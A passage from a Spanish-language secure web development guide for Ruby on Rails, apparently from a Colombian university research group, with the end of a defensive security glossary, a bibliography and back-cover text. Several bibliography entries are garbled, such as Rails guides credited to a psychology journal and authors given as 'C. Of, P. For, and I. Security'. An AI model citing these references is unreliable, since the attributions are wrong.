Disponibilidad: Medida de Accesibilidad y Usabilidad del sistema.

Exploit: Forma de tomar ventaja de una vulnerabilidad. Tipicamente se trata de una acción intencional diseñada para comprometer los controles de seguridad del software utilizando una vulnerabilidad.

Falsificación de petición en sitios cruzados (CSRF): Una aplicación externa o sitio web fuerza a un cliente a realizar un pedido a otra aplicación en la que el cliente posee una sesión activa. Las Aplicaciones son vulnerables cuando utilizan parámetros o URLs predecibles o conocidas y cuando el navegador transmite automáticamente toda la información de sesión con cada pedido a la aplicación vulnerable. (Este ataque es discutido específicamente en este documento por ser extremadamente común y poco comprendido).

Frontera de Confianza: Una frontera de confianza típicamente constituye los componentes del sistema bajo control directo. Todas las conexiones y datos prevenientes de sistemas fuera del control directo, incluyendo todos los clientes y sistemas gestionados por terceros, deben ser considerados no confiables y ser validados en la frontera, antes de permitir cualquier futura interacción con el sistema.

Gestión de Archivos: Conjunto de controles que cubren la interacción entre el código y otro sistema de archivos.

Gestión de memoria: Conjunto de controles de direccionamiento de memoria y uso de buffers.

Gestión de sesión: Conjunto de controles que ayudan a asegurar que la aplicación web maneja las sesiones HTTP de forma segura.

Impacto: Medida del efecto negativo en el negocio que resulta de la ocurrencia de un evento indeseado; pudiendo ser el resultado la explotación de una vulnerabilidad.

Integridad: La seguridad de que la información es precisa, completa y válida, y no ha sido alterada por una acción no autorizada.

Mitigar: Pasos tomados para reducir la severidad de una vulnerabilidad. Estos pueden incluir remover una vulnerabilidad, hacer una vulnerabilidad más difícil de explotar, o reducir el impacto negativo de una explotación exitosa.

Prácticas Criptográficas: Conjunto de controles que aseguran que las operaciones de criptografía dentro de la aplicación son manejadas de manera segura.

Prácticas de Codificación Generales: Conjunto de controles que cubren las prácticas de codificación que no son parte otras categorías.

Protección de datos: Conjunto de controles que ayudan a asegurar que el software maneja de forma segura el almacenamiento de la información.

Requerimiento de Seguridad: Conjunto de requerimientos funcionales y de diseño que ayudan a asegurar que el software se construye y despliega de forma segura.

Sanitizar: El proceso de hacer seguros datos potencialmente peligrosos a través de la utilización de remoción, reemplazo, codificación o “escaping” de los caracteres que lo componen.

Seguridad de Base de Datos: Conjunto de controles que aseguran la interacción del software con la base de datos de una forma segura y que la base de datos se encuentra configurada de forma segura.

Seguridad de Comunicaciones: Conjunto de controles que ayudan a asegurar que el software maneja de forma segura el envío y la recepción de datos.

Sistema: Término genérico que cubre sistemas operativos, servidores web, frameworks de aplicaciones e infraestructura relacionada.

Validación de entrada: Conjunto de controles que verifican que las propiedades de los datos ingresados coinciden con las esperadas por la aplicación, incluyendo tipos, largos, rangos, conjuntos de caracteres aceptados excluyendo caracteres peligrosos conocidos.

Vulnerabilidad: Debilidad en un sistema que lo hace susceptible a ataque o daño.

BIBLIOGRAFÍA

[1] OWASP, “4.0 Testing Guide,” OWASP Found., no. Cc, p. 224, 2014.

[2] A. H. Lorente, “Ciberataques_Octubre_2018,” p. 7, 2018.

[3] T. Dalgleish et al., “Ruby on Rails Guides (v5.2.1),” Journal of Experimental Psychology: General, 2007. [Online]. Available: http://guides.rubyonrails.org.

[4] A. Kang et al., “Una Guía para Construir Aplicaciones y Servicios Web Seguros,” p. 311, 2005.

[5] C. Of, P. For, and I. Security, “Guía Técnica Colombiana GTC-ISO/IEC 27002,” no. 571, 2015.

[6] G. Canedo et al., “OWASP SCP Quick Reference Guide SPA.” 2011.

Unicomfacauca

El grupo de investigación TIC-Unicomfacauca tiene como propósito principal concebir, planear, liderar y gestionar proyectos que requieren soluciones en Tecnologías de la Información y las Comunicaciones (TIC). El grupo está encaminado al estudio y desarrollo de aplicaciones informáticas de calidad con componentes innovadores aplicados a la empresa y la industria, contribuyendo al desarrollo de la región y el país.

Para el logro de su misión, el grupo realiza y participa en proyectos de investigación aplicada y desarrollo tecnológico; ofrece servicios de asesoría, consultoría y aprendizaje; se apoya en alianzas, convenios de colaboración y la participación activa en redes de investigación consolidando su liderazgo, experiencia y trayectoria como grupo en el ámbito nacional e internacional.

El presente documento brinda una guía para la comprensión de las actividades relacionadas con el proceso de gestión de la seguridad en un proyecto de desarrollo de aplicaciones web usando el framework Ruby on Rails.

La documentación base para la construcción de la guía en el componente técnico, es el proyecto OWASP (Open Web Application Security Project), adicionalmente, haciendo énfasis en la gestión de la seguridad en los procesos, se profundiza en la elaboración de estrategias para el análisis y gestión de riesgos mediante la articulación de las personas y la tecnología en cada una de las fases del ciclo de vida que tendrá el desarrollo de software. Para lo cual se plantea inicialmente gestionar una estructura organizacional que abogue por la seguridad, documentando políticas, estableciendo puntos de control, cumpliendo con los requisitos de seguridad desde el diseño y arquitectura.

Para medir el avance en el componente de seguridad y reportar a la Gerencia la eficacia de la inversión realizada en dicho componente se proponen métricas de referencia para gestionar y monitorear los recursos humanos, y los procesos y tecnologías que componen el programa de seguridad de la aplicación.

Corporación Universitaria Comfacauca
Unicomfacauca

SEMILLERO DE DESARROLLO DE SOFTWARE

semillero en seguridad informática y TIC

ISBN: 978-958-56791-3-9

SEMILLERO DE INVESTIGACIÓN EN INFORMATICA & TELECOMUNICACIONES